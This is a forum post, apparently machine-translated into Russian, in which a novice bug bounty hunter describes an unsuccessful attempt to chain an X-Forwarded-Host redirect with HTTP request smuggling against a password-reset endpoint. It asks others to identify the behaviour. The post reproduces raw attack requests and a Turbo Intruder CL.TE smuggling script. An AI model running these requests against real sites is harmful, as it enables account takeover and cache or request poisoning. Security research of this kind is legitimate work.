Я охотник за головами жуков и просто новичок в этом. Несколько дней go я читал об уязвимости , связанной с контрабандой . И только после этого я начал находить его на Inte rnet. Вчера я нашел веб-сайт, который, когда я добавляю X-Forwarded-Host: google.com
в заголовок, перенаправляет меня на https://www.google.com. Это очень трудно использовать, поэтому я подумал о том, чтобы объединить это с запросом контрабанды . Я выбираю запрос на изменение пароля в качестве цели:
POST /my-rx/forgot-password HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Connection: close
Cookie: <my_cookie>
Upgrade-Insecure-Requests: 1
email=mymail%40gmail.com&submit=Reset+My+Password&csrf_token=cb5a82b3df1e45c7b95d25edb46cfbf3
Я преобразую его в чанк:
POST /my-rx/forgot-password HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Connection: close
Cookie: <my_cookie>
Upgrade-Insecure-Requests: 1
Transfer-Encoding: chunked
6b
email=mymail%40gmail.com&submit=Reset+My+Password&csrf_token=cb5a82b3df1e45c7b95d25edb46cfbf3
0
Но когда я отправил его, он дал мне код 503 client read error
. Похоже, он не принимает chunked . Но я все еще хочу продолжить, поэтому я загружаю расширения HTTP Request Smuggler и Turbo Intruder в Burp Suite. Затем я делаю контрабандную атаку (CL.TE) . Он дает атаку контрабанды python код:
# if you edit this file, ensure you keep the line endings as CRLF or you'll have a bad time
def queueRequests(target, wordlists):
# to use Burp's HTTP stack for upstream proxy rules etc, use engine=Engine.BURP
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
# This will prefix the victim's request. Edit it to achieve the desired effect.
prefix = '''GET /hopefully404 HTTP/1.1
X-Ignore: X'''
# The request engine will auto-fix the content-length for us
attack = target.req + prefix
engine.queue(attack)
victim = target.req
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Затем я запускаю его, используя Turbo Intruder . И я был очень удивлен, он отправил 14 запросов, но только 12 запросов 503
и 2 слева 200
. Специально, в заголовке ответа 200
он имеет ...transfer-encoding: chunked...
. Я пытался несколько раз, и он просто дал тот же результат: 1 или 2 запроса 200
. Но что-то странное здесь, в коде, это ...prefix = '''GET /hopefully404 HTTP/1.1
X-Ignore: X'''...
. После нескольких тестов я думаю, что это не ошибка контрабанды запроса, потому что ответ показал, что это ответ исходного запроса, а не prefix
в коде (я тоже пытался изменить prefix
, и он все еще 200
, а не 400
, 404
, ... как я и ожидал).
Так есть ли кто-нибудь (должен быть очень профессиональный хакер), который знает, с какой уязвимостью я сталкиваюсь? Спасибо!